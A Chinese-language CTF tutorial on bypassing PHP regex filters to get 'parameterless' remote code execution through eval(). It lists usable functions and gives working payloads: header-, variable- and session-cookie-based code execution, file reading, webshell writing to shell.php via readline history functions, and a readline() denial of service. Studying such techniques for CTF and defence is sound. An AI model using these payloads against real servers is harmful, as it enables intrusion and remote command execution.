php 无参数 RCE

 

无参数 RCE 的场景

此类 CTF 题目往往使用下面的正则表达式来限制输入。

/[^\W]+\((?R)?\)/
/[^\s\(\)]+?\((?R)?\)/

测试场景如下

<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}

这就要求只能使用函数嵌套的方式 RCE 、读取文件或者获取敏感信息,例如:

var_dump(getenv(phpinfo()));

更多时候题目会组合一些 waf,例如:

<?php
echo "帮我找找flag吧 <br>";
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/file|if|localeconv|phpversion|implode|apache|sqrt|et|na|nt|strlen|info|path|rand|die|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    die("bad!");
}
?> 

枚举满足条件的函数

这种场景下,我们可以枚举所有可用的函数,满足条件的函数有两种

  1. 参数数量为 0 或者必选参数数量为 0 的函数。
  2. 参数数量为 1 或者必选参数数量为 1 的函数。

获取参数数量为 0 的内置函数

假设题目中的 waf 如下:

'/file|if|localeconv|phpversion|implode|apache|sqrt|et|na|nt|strlen|info|path|rand|die|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i'

那么可以编写下面的脚本来获取满足条件的函数

<?php
$excludedRegex = '/file|if|localeconv|phpversion|implode|apache|sqrt|et|na|nt|strlen|info|path|rand|die|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i';

// 获取所有内置函数
$internalFunctions = get_defined_functions()['internal'];

// 遍历每个函数并检查参数数量
$filteredFunctions = array_filter($internalFunctions, function ($functionName) use ($excludedRegex) {
    // 排除匹配指定正则表达式的函数名
    if (preg_match($excludedRegex, $functionName)) {
        return false;
    }

    // 获取函数的反射对象
    $reflection = new ReflectionFunction($functionName);

    // 获取函数的参数列表
    $parameters = $reflection->getParameters();

    // 检查参数数量
    $numParameters = count($parameters);

    // 检查参数数量为0 或者必选参数数量为 0
    return $numParameters === 0 || $reflection->getNumberOfRequiredParameters() === 0;
});

// 输出结果
foreach ($filteredFunctions as $functionName) {
    echo $functionName . "\n";
}

结果如下, 不同的环境会有所不同。

zend_version
func_num_args
error_reporting
restore_error_handler
restore_exception_handler
debug_backtrace
gc_mem_caches
gc_collect_cycles
gc_disable
gc_status
date_create
date_create_immutable
libxml_clear_errors
openssl_pkey_new
openssl_error_string
preg_last_error
preg_last_error_msg
filter_list
hash_algos
hash_hmac_algos
json_last_error
json_last_error_msg
lcg_value
ob_start
ob_flush
ob_clean
ob_end_flush
ob_end_clean
ob_list_handlers
ob_implicit_flush
flush
error_clear_last
connection_aborted
connection_status
header_remove
headers_list
rewinddir
readdir
umask
clearstatcache
phpcredits
uniqid
spl_autoload_extensions
spl_autoload_functions
spl_autoload_register
sodium_crypto_aead_aes256gcm_is_available
sodium_crypto_aead_aes256gcm_keygen
sodium_crypto_aead_chacha20poly1305_keygen
sodium_crypto_auth_keygen
sodium_crypto_box_keypair
sodium_crypto_kx_keypair
sodium_crypto_generichash_keygen
sodium_crypto_generichash_init
sodium_crypto_kdf_keygen
sodium_crypto_shorthash_keygen
sodium_crypto_sign_keypair
sodium_crypto_stream_keygen
sodium_crypto_stream_xchacha20_keygen
pdo_drivers
easter_date
easter_days
unixtojd
transliterator_list_ids
mb_language
mb_http_input
mb_http_output
mb_substitute_character
mb_list_encodings
mb_check_encoding
mb_regex_encoding
mysqli_connect
mysqli_connect_errno
mysqli_connect_error
mysqli_init
mysqli_thread_safe
readline
readline_clear_history
readline_list_history
readline_read_history
readline_write_history
readline_callback_read_char
readline_callback_handler_remove
readline_redisplay
readline_on_new_line
xmlwriter_open_memory
xdebug_break
xdebug_call_class
xdebug_call_function
xdebug_call_line
xdebug_code_coverage_started
xdebug_debug_zval
xdebug_debug_zval_stdout
xdebug_dump_superglobals
xdebug_is_debugger_active
xdebug_memory_usage
xdebug_peak_memory_usage
xdebug_start_code_coverage
xdebug_start_error_collection
xdebug_start_gcstats
xdebug_start_trace
xdebug_stop_code_coverage
xdebug_stop_error_collection
xdebug_stop_function_monitor
xdebug_stop_gcstats
xdebug_stop_trace

获取参数数量为 1 的内置函数

类似的,也可以获取参数数量为 1,或者必选参数数量为 1 的函数。

<?php
$excludedRegex = '/file|if|localeconv|phpversion|implode|apache|sqrt|et|na|nt|strlen|info|path|rand|die|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i';

// 获取所有内置函数
$internalFunctions = get_defined_functions()['internal'];

// 遍历每个函数并检查参数数量
$filteredFunctions = array_filter($internalFunctions, function ($functionName) use ($excludedRegex) {
    // 排除匹配指定正则表达式的函数名
    if (preg_match($excludedRegex, $functionName)) {
        return false;
    }

    // 获取函数的反射对象
    $reflection = new ReflectionFunction($functionName);

    // 获取函数的参数列表
    $parameters = $reflection->getParameters();

    // 检查参数数量
    $numParameters = count($parameters);

    // 检查参数数量为1或者必选参数数量为1
    return $numParameters === 1 || $numParameters - $reflection->getNumberOfRequiredParameters() === 1;
});

// 输出结果
foreach ($filteredFunctions as $functionName) {
    echo $functionName . "\n";
}

结果如下:

error_reporting
define
defined
is_subclass_of
is_a
class_exists
trait_exists
enum_exists
function_exists
class_alias
trigger_error
extension_loaded
date
idate
gmdate
date_create_from_format
date_create_immutable_from_format
openssl_x509_read
openssl_x509_free
openssl_pkey_new
openssl_pkey_free
openssl_free_key
openssl_pbkdf2
openssl_private_encrypt
openssl_public_encrypt
openssl_sign
openssl_open
openssl_digest
openssl_cipher_iv_length
openssl_cipher_key_length
openssl_pkey_derive
openssl_spki_new
preg_quote
preg_grep
gzopen
zlib_encode
gzinflate
gzuncompress
gzwrite
gzputs
gzrewind
gzeof
gzpassthru
gztell
deflate_init
deflate_add
inflate_init
inflate_add
filter_id
hash_hmac
hash_update_stream
hash_copy
mhash
header_register_callback
ob_implicit_flush
stream_wrapper_register
stream_register_wrapper
stream_wrapper_unregister
stream_wrapper_restore
krsort
ksort
sizeof
asort
arsort
sort
rsort
end
prev
next
key
min
max
compact
range
shuffle
ip2long
long2ip
putenv
sleep
usleep
forward_static_call
register_shutdown_function
show_source
php_strip_whitespace
highlight_string
ini_restore
register_tick_function
unregister_tick_function
crc32
checkdnsrr
md5
sha1
header_remove
trim
rtrim
chop
ltrim
join
strtok
strtoupper
strtolower
stristr
strstr
strchr
substr
substr_replace
chr
ucfirst
lcfirst
strtr
strrev
similar_text
addslashes
stripcslashes
stripslashes
str_replace
str_ireplace
hebrev
nl2br
strip_tags
sscanf
str_rot13
str_shuffle
str_split
utf8_encode
opendir
dir
chdir
chroot
rewinddir
readdir
glob
system
passthru
escapeshellcmd
escapeshellarg
shell_exec
proc_nice
flock
rewind
rmdir
umask
feof
fscanf
fpassthru
fstat
ftell
fflush
fsync
fdatasync
fwrite
fputs
copy
unlink
fnmatch
is_writable
is_writeable
is_readable
is_executable
is_dir
is_link
stat
lstat
disk_total_space
disk_free_space
diskfreespace
image_type_to_mime_type
image_type_to_extension
phpcredits
iptcembed
readlink
abs
ceil
floor
sin
cos
tan
asin
acos
atan
atanh
sinh
cosh
tanh
asinh
acosh
is_finite
is_infinite
deg2rad
rad2deg
pack
unpack
soundex
stream_filter_remove
stream_supports_lock
stream_is_local
stream_isatty
floatval
doubleval
boolval
strval
is_null
is_resource
is_bool
is_long
is_float
is_double
is_numeric
is_string
is_object
is_scalar
is_iterable
urlencode
rawurlencode
convert_uuencode
debug_zval_dump
version_compare
spl_autoload
spl_autoload_call
spl_autoload_extensions
spl_autoload_unregister
spl_object_hash
spl_object_id
iterator_apply
sodium_crypto_box_publickey
sodium_crypto_kx_publickey
sodium_crypto_pwhash
sodium_crypto_sign_ed25519_pk_to_curve25519
sodium_crypto_sign_ed25519_sk_to_curve25519
sodium_crypto_sign_publickey
sodium_memzero
xml_error_string
jddayofweek
jdtofrench
jdtogregorian
jdtojulian
jdtounix
unixtojd
ctype_alnum
ctype_alpha
ctype_digit
ctype_lower
ctype_graph
ctype_punct
ctype_space
ctype_upper
ctype_xdigit
dom_import_simplexml
ftp_pwd
ftp_cdup
ftp_alloc
ftp_rawlist
ftp_systype
ftp_append
ftp_quit
textdomain
_
iconv_mime_encode
collator_create
collator_sort
collator_asort
numfmt_create
numfmt_format
grapheme_substr
grapheme_strstr
grapheme_stristr
locale_filter_matches
locale_canonicalize
locale_accept_from_http
normalizer_normalize
normalizer_is_normalized
resourcebundle_create
resourcebundle_locales
transliterator_create
transliterator_create_from_rules
mb_language
mb_http_input
mb_http_output
mb_substitute_character
mb_strwidth
mb_convert_encoding
mb_strtoupper
mb_strtolower
mb_convert_variables
mb_scrub
mb_chr
mb_regex_encoding
mb_ereg
mb_eregi
mb_ereg_replace
mb_eregi_replace
mb_ereg_replace_callback
mb_split
mb_ereg_match
mysqli_affected_rows
mysqli_debug
mysqli_errno
mysqli_error
mysqli_error_list
mysqli_stmt_execute
mysqli_execute
mysqli_execute_query
mysqli_field_tell
mysqli_free_result
mysqli_more_results
mysqli_next_result
mysqli_num_fields
mysqli_num_rows
mysqli_poll
mysqli_report
mysqli_query
mysqli_reap_async_query
mysqli_stmt_affected_rows
mysqli_stmt_errno
mysqli_stmt_error
mysqli_stmt_error_list
mysqli_stmt_free_result
mysqli_stmt_init
mysqli_stmt_more_results
mysqli_stmt_next_result
mysqli_stmt_num_rows
mysqli_stmt_store_result
mysqli_stmt_sqlstate
mysqli_sqlstate
mysqli_stat
mysqli_store_result
mysqli_thread_id
readline
readline_add_history
readline_read_history
readline_write_history
shmop_size
simplexml_import_dom
is_soap_fault
msg_remove_queue
msg_stat_queue
msg_queue_exists
shm_remove
xmlwriter_open_uri
xmlwriter_end_attribute
xmlwriter_start_cdata
xmlwriter_end_cdata
xmlwriter_end_dtd
xmlwriter_end_dtd_attlist
xmlwriter_output_memory
xmlwriter_flush
zip_open
zip_read
opcache_invalidate
opcache_is_script_cached
xdebug_call_class
xdebug_call_function
xdebug_call_line
xdebug_debug_zval
xdebug_debug_zval_stdout
xdebug_start_code_coverage
xdebug_start_function_monitor
xdebug_start_gcstats
xdebug_stop_code_coverage
dl

apache 函数

不同的服务器可能会定义一些特殊的函数可供使用,这些函数无法用 get_defined_functions 来获取。可以查找官方文档:

Apache 环境中可用的函数如下:

apache_child_terminate  Terminate apache process after this request
apache_get_modules  Get a list of loaded Apache modules
apache_get_version  Fetch Apache version
apache_getenv  Get an Apache subprocess_env variable
apache_lookup_uri  Perform a partial request for the specified URI and return all info about it
apache_note  Get and set apache request notes
apache_request_headers  Fetch all HTTP request headers
apache_response_headers  Fetch all HTTP response headers
apache_setenv  Set an Apache subprocess_env variable
getallheaders  Fetch all HTTP request headers
virtual  Perform an Apache sub-request

FPM 函数

fastcgi_finish_request  Flushes all response data to the client
fpm_get_status  Returns the current FPM pool status

常见 payload

下面是一些常见的 payload。

获取环境信息

phpinfo()

phpinfo()

目录枚举

scandir

当前目录highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
  • array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
  • dirname(chdir(dirname()))配合切换文件路径

构造外部输入 RCE

题目限制了无法直接传入参数,但我们可以通过别的地方进行输入。

getallheaders

getallheaders 函数可以获取所有的请求头,将 payload 写在最后一个请求头中,然后时用下面的 payload 即可任意代码执行。

eval(end(getallheaders()));

get_defined_vars

get_defined_vars 返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为 get->post->cookie->files

eval(end(current(get_defined_vars())));&jiang=phpinfo();

session_start

show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start())); 或者readgzfile();
修改cookie : PHPSESSID= filename

eval(hex2bin(session_id(session_start())));
抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)

文件写入

readline_write_history

readline_add_history 可以向缓冲区添加内容, 如下的代码可以向缓冲区添加一个 webshell 内容。

print_r(readline_add_history('<?=`exit`;echo`$_GET[1]`;'));

借助 readline_write_history 函数可以将这些内容写到文件中。

print_r(readline_write_history('shell.php'));

上面的 payload 会在当前目录生成一个 shell.php。内容如下:

_HiStOrY_V2_
<?=`exit`;echo`$_GET[1]`;

除此之外,我们还可以使用 readline_list_history l来查看当前的缓冲区内容:

print_r(readline_list_history());

也可以使用 readline_clean_history 来清除缓冲区

print_r(readline_clean_history());

拒绝服务

readline

readline() 满足无参数,可以使得服务卡在终端输入中。

绕过过滤

替换输出函数

php 支持输出的函数有很多,之间可以相互替换,下面是一些满足无参数 RCE 场景的函数

echo: 输出一个或多个字符串。
print: 输出一个字符串。
printf: 格式化输出字符串。
sprintf: 返回格式化后的字符串。
var_dump: 打印变量的相关信息,包括类型和值。
print_r: 打印变量的相关信息,以更易读的方式显示数组。
die 或 exit: 输出一条消息并终止脚本的执行。
error_log: 将错误消息写入错误日志。
header: 发送一个 HTTP 头信息。回显在头部
setcookie: 设置 cookie, 回显在 Set-Cookie 头。

数组转字符串

某些时候我们只能通过 echo 来获取输出,此时需要配合将数组转化为字符串才可以输出全部的内容,下面是一些可以将数组转化为字符串的函数

json_encode
serialize
implode
join
var_export
print_r

替换文件读取函数

下面的文件读取函数可以相互替换

file_get_contents // 无回显,需要输出函数配合
file // 无回显,需要输出函数配合
readfile
highlight_file
show_source
php_strip_whitespace
parse_ini_file

替换命令执行函数

构造 .

目录枚举时一般需要构建一个点号,然后使用 scandir 枚举到当前目录。

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
chr(ord(hebrevc(crypt(phpversion()))));

除了 phpversion 外,zend_version 也可以获取 . 号

next(str_split(zend_version()));

localeconv 函数也可以获取 . 号

current(localeconv());

字符串切分

某些时候我们需要获取字符串中的部分内容,比如要获取 php_version 中的 . 号。此时需要用到字符串切分函数

str_split

参考